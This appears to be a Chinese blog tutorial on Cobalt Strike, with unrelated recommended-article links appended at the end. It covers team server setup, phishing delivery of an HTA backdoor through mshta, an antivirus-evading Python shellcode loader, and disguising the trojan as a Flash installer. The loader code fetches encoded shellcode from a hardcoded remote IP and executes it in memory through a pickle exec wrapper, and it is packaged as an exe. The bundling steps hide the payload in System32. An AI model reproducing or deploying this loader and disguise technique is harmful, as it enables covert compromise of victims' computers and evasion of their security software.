CS及免杀
Strategic Cyber 责任有限公司发行了适用于 Windows、Linux 和 MacOS X 的 Cobalt Strike 软件包。
要安装 Cobalt Strike,只需将其存档解压到你的操作系统上。
**
一、安装
**
1、系统要求
Cobalt Strike 要求 Oracle Java 1.8,Oracle Java 11, 或 OpenJDK 11。
如果你的系统上装有防病毒产品,请确保在安装 Cobalt Strike 前将其禁用。
Cobalt Strike 发行套件包含 Cobalt Strike 启动器、支持文件和更新程序。它不包含 Cobalt Strike 程序
本身。你必须运行更新程序才能下载 Cobalt Strike 产品。
更新流程(欢迎尝试,但是 key 不再有效)
./update
2、服务器部署
Cobalt Strike 分为客户端组件和服务器组件。服务器组件,也就是团队服务器,是 Beacon payload 的
控制器,也是 Cobalt Strike 社会工程功能的托管主机。团队服务器还存储由 Cobalt Strike 收集的数
据,并管理日志记录。
Cobalt Strike 团队服务器必须在受支持的 Linux 系统上运行。要启动一个 Cobalt Strike 团队服务器。
使用 Cobalt Strike Linux 安装包中的 teamserver 脚本文件。
./teamserver 139.9.223.157 password
团队服务器的启动命令包含两个必填的参数和两个选填的参数。第一个必选参数是团队服务器的外部可
达 IP 地址。Cobalt Strike 使用这个值作为它的功能使用的默认主机地址。第二个必选参数是密码,你
的团队成员将使用此密码从自己 Cobalt Strike 客户端去连接至 Cobalt Strike 团队服务器。
如下图成功启动CS服务端:

想修改默认端口直接修改teamserver文件就可以
这里要注意的是云服务器需要安全组开启一下对应端口。
3、客户端链接
host:cs服务端地址
port:端口默认不变
user:用户名随便写
Password:123(服务端启动时输入的密码)
之后点击Connect即可


**
二、尝试获取第一个shell
**
1、CS Listener:
监听器:
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http x86/x64
windows/beacon_http/reverse_http x86/x64
windows/beacon_https/reverse_https x86/x64
windows/beacon_smb/bind_pipe x86/x64
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
创建Beacon Listener

2、后门生成
这里选择的HTML Application
选择Listener与生成的方法,有powershell、vba以及exe三种

选择powershell
这里用windows神器hta shell

将hta文件放置在钓鱼的web服务器上
本机powershell运行 mshta http://xxxx.xxx.xxx/1.hta
三、CS结合python3混淆shellcode制作免杀脚本
1.Shellcode介绍
shell代码 :是Payload的一种,由于其建立正向/反向shell而得名。
2.CS免杀操作
CS生成木马已经被各大杀毒软件加入病毒库,很容易被查杀,所以我们需进行一些免杀操作来绕过杀毒软件。
0x01原理
shellcode和加载器(pyminifier混淆后)经base64编码后,放远程服务器备用,然后目标主机远程下载两次
0x02 shellcode:
1、先用cs生成python shellcode
把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器
"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x"

0x03 loader:
修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://139.9.223.157:8088/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
0x04 主程序:
py_ma.py,最终在目标上执行的exe文件
修改服务器地址后使用pyinstaller打包成exe可执行文件
#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://139.9.223.157:8088/loader.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
def __reduce__(self):
return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
0x05 打包:
pyinstaller -F -w py_ma.py
0x06 测试:
loader和shellcode放到远程服务器
本地运行主程序成功上线


四、捆绑flash
1、flash下载
https://www.flash.cn/download-wins
2、捆绑
1、选中两个文件添加到压缩包
2、压缩包命名为flashplayerpp_install_cn_web.exe
3、填写压缩文件名,即最终捆绑后生成的新的程序名。勾选 “创建自解压格式”
4、点击高级—自解压选项

5、在常规填写解压路径我这里是解压到C:\Windows\System32这个绝对路径。

6、点击设置,填写马子的名字和flash名字

7、 点击模式,选择全部隐藏

8、 点击更新,如下


3、reshacker替换图标

CS及免杀的更多相关文章
- shellcode隐写到像素RGB免杀上线到CS
利用把Shellcode隐写到图片像素RGB进行免杀上线到CS --by:chenw 0x01 前言 前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法 ...
- 附件携马之CS免杀shellcode过国内主流杀软
0x01 写在前面 其实去年已经写过类似的文章,但是久没用了,难免有些生疏.所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面. 0x0 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- [原创]CobaltStrike & Metasploit Shellcode一键免杀工具
CobaltStrike & Metasploit Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...
- 【黑客免杀攻防】读书笔记5 - PE格式讲解
0x01 MS-DOS头 MS-DOS头部的字段重点关注e_magic与最后一个e_lfanew是需要关注的. 第一个e_magic字段的值为4D5A,作用是可以作为判断这个文件是否是PE文件. 最后 ...
- Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
- 迁移Veil:手工打造Windows下编译的免杀Payload
作者:RedFree 本文转自乌云 Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload.但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Wi ...
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- Payload 实现分离免杀
众所周知,目前的杀毒软件的杀毒原理主要有三种方式,一种基于特征,一种基于行为,一种基于云查杀,其中云查杀的一些特点基本上也可以概括为特征码查杀,不管是哪一种杀毒软件,都会检查PE文件头,尤其是当后门程 ...
- payload免杀之msbuild利用
0x00 前言 红队必备技巧免杀之一,现在主要是.net4.0下实现.待我过几天有空实现一下.net2.0. 0x01 免杀过程 利用cs生成c#的payload,如图所示: 将paypload内容填 ...
随机推荐
- Luogu P3041 USACO12JAN Video Game G 题解 [ 紫 ] [ AC 自动机 ] [ 动态规划 ]
Video Games G:弱智紫题,30min 切了,dp 思路非常板. 多模式串一看肯定就是要建出 AC 自动机,然后在 fail 树里下传标记,预处理每个节点到达后的得分. 然后设计 \(dp_ ...
- mybatis之xml简单映射,解决实体类属性字段与数据库表字段不一致问题
当实体类属性字段与数据库表字段不一致时该怎么办? 方法一:起别名 <select id="getUserList" resultType="RealUser&quo ...
- 用python做时间序列预测六:相关函数图、偏相关函数图、滞后图
经典的时间序列预测方法都是假设如果一个时间序列有显著的自相关性,那么历史值对预测当前值会很有帮助,但是究竟取多少阶的历史值,就需要通过分析相关函数图和偏相关函数图来得到.本文介绍如何什么是相关函数图和 ...
- Kettle - 简介
ETL简介 Kettle简介 transformation 和 job的区别 Kettle 的核心组件 Kettle 特点 Kettle 的目录说明 Kettle 的文件说明 ETL简介 ETL,Ex ...
- Flink学习(九) Sink到Kafka
package com.wyh.streamingApi.sink import java.util.Properties import org.apache.flink.api.common.ser ...
- 大数据之路Week10_day07 (JavaAPI 操作Redis 与Hbase建立索引,通过查询redis中的索引查询Hbase数据)
在这里是简单模拟将索引存到redis中,再通过先查询索引再将Hbase中的数据查询出来. 需要考虑的问题: 1.建立redis的连接,建立Hbase的连接 2.如何创建索引,即创建索引的key和val ...
- 重生之数据结构与算法----数组&链表
简介 数据结构的本质,只有两种结构,数组与链表.其它的都是它的衍生与组合 算法的本质就是穷举. 数组 数组可以分为两大类,静态数组与动态数组. 静态数组的本质是一段连续的内存,因为是连续的,所以我们可 ...
- Windows 提权-不安全的 GUI 程序
本文通过 Google 翻译 Insecure GUI Applications – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进 ...
- Java 解析XML的几种方式:DOM、SAX、JDOM和DOM4J。
归纳总结Java解析XML主要有四中方式,分别是DOM.SAX.JDOM和DOM4J.其中DOM和SAX是官方包自带,另外两个JDOM和DOM4J是第三方包. 一.此篇测试代码用到的XML情况 . 1 ...
- go 定义接口解决 import cycle not allowed
前言 go项目运行报错: import cycle not allowed,导入循环(import cycle) 报错原因,在Go语言中,两个或更多的包之间形成了相互依赖的关系,即A包导入了B包,而B ...